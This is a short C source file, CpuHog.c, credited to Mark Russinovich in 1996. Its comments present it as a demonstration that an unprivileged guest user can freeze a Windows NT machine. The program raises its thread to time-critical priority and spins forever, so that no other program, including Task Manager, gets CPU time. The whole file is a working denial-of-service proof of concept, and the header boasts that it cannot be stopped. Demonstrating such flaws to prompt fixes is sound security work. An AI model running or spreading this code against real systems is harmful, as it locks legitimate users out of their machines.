home *** CD-ROM | disk | FTP | other *** search
- //============================================================================
- //
- // CpuHog.c
- //
- // Copyright (C) 1996 Mark Russinovich
- //
- // How vulnerable is NT? Here is a 5 line program, runnable from a
- // guest account, that instantly cripples an NT system. Once started, no
- // other program will run, and there is no way to stop it. No, not even
- // task manager can get a shot at the CPU after CpuHog is off and running!
- //
- //============================================================================
- #include <windows.h>
-
-
- //---------------------------------------------------------
- //
- // main
- //
- // Set thread to highest priority allowed for programs
- // that run without administrative privilege and just sit
- // in a loop.
- //
- //---------------------------------------------------------
- int WINAPI WinMain( HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow )
- {
- MessageBox( NULL, "CpuHog V1.0\n\nCopyright (C) 1996 Mark Russinovich\n"
- "http://www.ntinternals.com", "CpuHog", MB_OK );
- SetThreadPriority( GetCurrentThread(),
- THREAD_PRIORITY_TIME_CRITICAL );
- while(1);
-
- // never get here
- return 0;
- }